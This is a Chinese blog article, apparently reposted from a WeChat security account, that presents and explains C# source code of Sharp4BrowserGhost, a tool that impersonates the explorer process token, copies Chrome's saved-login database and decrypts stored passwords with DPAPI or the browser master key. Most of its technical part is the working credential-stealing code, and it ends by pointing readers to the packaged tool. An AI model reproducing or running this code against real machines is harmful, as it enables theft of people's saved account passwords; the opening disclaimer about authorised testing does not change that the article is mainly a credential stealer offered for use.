01
阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面
02
基本介绍
Sharp4BrowserGhost是一款抓取 Google Chrome 和 Internet Explorer 浏览器存储的密码的工具。它基于 .NET Framework 2.0,利用进程模拟技术提升权限,访问浏览器的本地数据存储,并提取保存的登录信息。本文将详细解析其核心代码,以揭示其工作原理和方法。
03
编码实现
以下是 Sharp4BrowserGhost的主要功能实现代码,通过调用各种子模块来执行具体的数据提取任务。首先,代码通过 Process.GetProcesses() 获取当前所有运行的进程,并提取每个进程的 ID、名称和用户名。
foreach (Process process in Process.GetProcesses())
{
int id = process.Id;
string processName = process.ProcessName;
string processUserName = Program.GetProcessUserName(id);
接着,查找名称为 explorer 的进程,并通过 ImpersonateProcessToken(id) 模拟该进程的令牌,从而提升当前进程的权限,假装为 Explorer 进程的用户。
if (processName == "explorer")
{
Console.WriteLine("[+] [{0}] [{1}] [{2}]", id, processName, processUserName);
Program.ImpersonateProcessToken(id);
Console.WriteLine("[+] Impersonate user {0}", Environment.UserName);
Console.WriteLine("[+] Current user {0}", Environment.UserName);
然后,获取 Chrome 存储登录数据的文件路径,将其复制到临时文件以供后续操作。具体代码如下所示。
string text = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\Google\Chrome\User Data\Default\Login Data";
string filePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\Google\Chrome\User Data\Local State";
string tempFileName = Path.GetTempFileName();
File.Copy(text, tempFileName, true);
Console.WriteLine("[+] Copy {0} to {1}", text, tempFileName);
随后,执行 SQL 查询获取登录数据。使用 ProtectedData.Unprotect 方法解密存储的密码,如果失败,则使用 Program.GetMasterKey 获取主密钥并调用 Program.DecryptWithKey 解密密码。
SQLiteDatabase sqliteDatabase = new SQLiteDatabase(tempFileName);
string query = "SELECT origin_url, username_value, password_value FROM logins";
foreach (object obj in sqliteDatabase.ExecuteQuery(query).Rows)
{
DataRow dataRow = (DataRow)obj;
string arg;
string arg2;
try
{
arg = (string)dataRow["origin_url"];
arg2 = (string)dataRow["username_value"];
}
catch
{
continue;
}
byte[] encryptedData = Convert.FromBase64String((string)dataRow["password_value"]);
string arg3;
try
{
arg3 = Encoding.UTF8.GetString(ProtectedData.Unprotect(encryptedData, null, DataProtectionScope.CurrentUser));
}
catch (Exception)
{
byte[] masterKey = Program.GetMasterKey(filePath);
arg3 = Program.DecryptWithKey(encryptedData, masterKey);
}
Console.WriteLine("tURL -> {0}ntUSERNAME -> {1}ntPASSWORD -> {2}n", arg, arg2, arg3);
}
通过这些步骤,Sharp4BrowserGhost 利用进程模拟和浏览器存储文件的解密,成功提取 Chrome 和 IE 浏览器中的登录信息。工具已经打包在星球,感兴趣的朋友可以加入自取。
原文始发于微信公众号(dotNet安全矩阵):.NET 一款获取主流浏览器存储密码的工具
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论